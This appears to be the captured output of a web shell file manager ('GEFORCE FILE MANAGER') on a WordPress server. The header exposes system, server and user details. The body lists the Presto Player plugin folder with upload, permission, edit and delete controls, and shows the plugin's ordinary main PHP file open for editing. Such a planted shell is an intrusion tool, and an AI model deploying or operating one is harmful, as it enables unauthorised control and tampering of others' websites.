[ SYSTEM ]: Linux wordpress 6.1.0-41-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.158-1 (2025-11-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
presto-player
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 dist
SET
[ DEL ]
📁 img
SET
[ DEL ]
📁 inc
SET
[ DEL ]
📁 languages
SET
[ DEL ]
📁 src
SET
[ DEL ]
📁 templates
SET
[ DEL ]
📁 vendor
SET
[ DEL ]
📄 CLAUDE.md
9,068 B
SET
[ EDIT ]
|
[ DEL ]
📄 LICENSE
35,149 B
SET
[ EDIT ]
|
[ DEL ]
📄 index.php
32 B
SET
[ EDIT ]
|
[ DEL ]
📄 presto-player.php
1,750 B
SET
[ EDIT ]
|
[ DEL ]
📄 readme.txt
41,513 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: presto-player.php
<?php /** * Plugin Name: Presto Player * Plugin URI: http://prestoplayer.com * Description: A beautiful, fast media player for WordPress. * Version: 4.1.2 * Author: Presto Made, Inc * Author URI: https://prestoplayer.com/ * Text Domain: presto-player * Tags: private, video, lms, hls * Domain Path: languages * * @package PrestoPlayer */ use PrestoPlayer\Factory; use PrestoPlayer\Controller; use PrestoPlayer\Requirements; use PrestoPlayer\Dice\Dice as Container; // Don't do anything if called directly. if ( ! \defined( 'ABSPATH' ) || ! \defined( 'WPINC' ) ) { exit; } if ( file_exists( __DIR__ . '/vendor/autoload.php' ) ) { require_once __DIR__ . '/vendor/autoload.php'; } /** * The code that runs during plugin activation */ register_activation_hook( __FILE__, function () { PrestoPlayer\Activator::activate(); } ); register_uninstall_hook( __FILE__, 'presto_player_uninstall' ); /** * Uninstall hook callback. * * @return void */ function presto_player_uninstall() { PrestoPlayer\Deactivator::uninstall(); } // Plugin constants. define( 'PRESTO_PLAYER_PLUGIN_FILE', __FILE__ ); define( 'PRESTO_PLAYER_PLUGIN_URL', plugin_dir_url( __FILE__ ) ); define( 'PRESTO_PLAYER_PLUGIN_DIR', plugin_dir_path( __FILE__ ) ); if ( ! function_exists( 'presto_player_plugin' ) ) { /** * Initialize the plugin. * * @return void */ function presto_player_plugin() { // Check plugin requirements. $requirements = new Requirements(); if ( $requirements->check() ) { $container = new Container(); $factory = new Factory( $container ); $container = $container->addRules( $factory->getRules() ); $plugin = $container->create( Controller::class ); $plugin->run(); } } presto_player_plugin(); }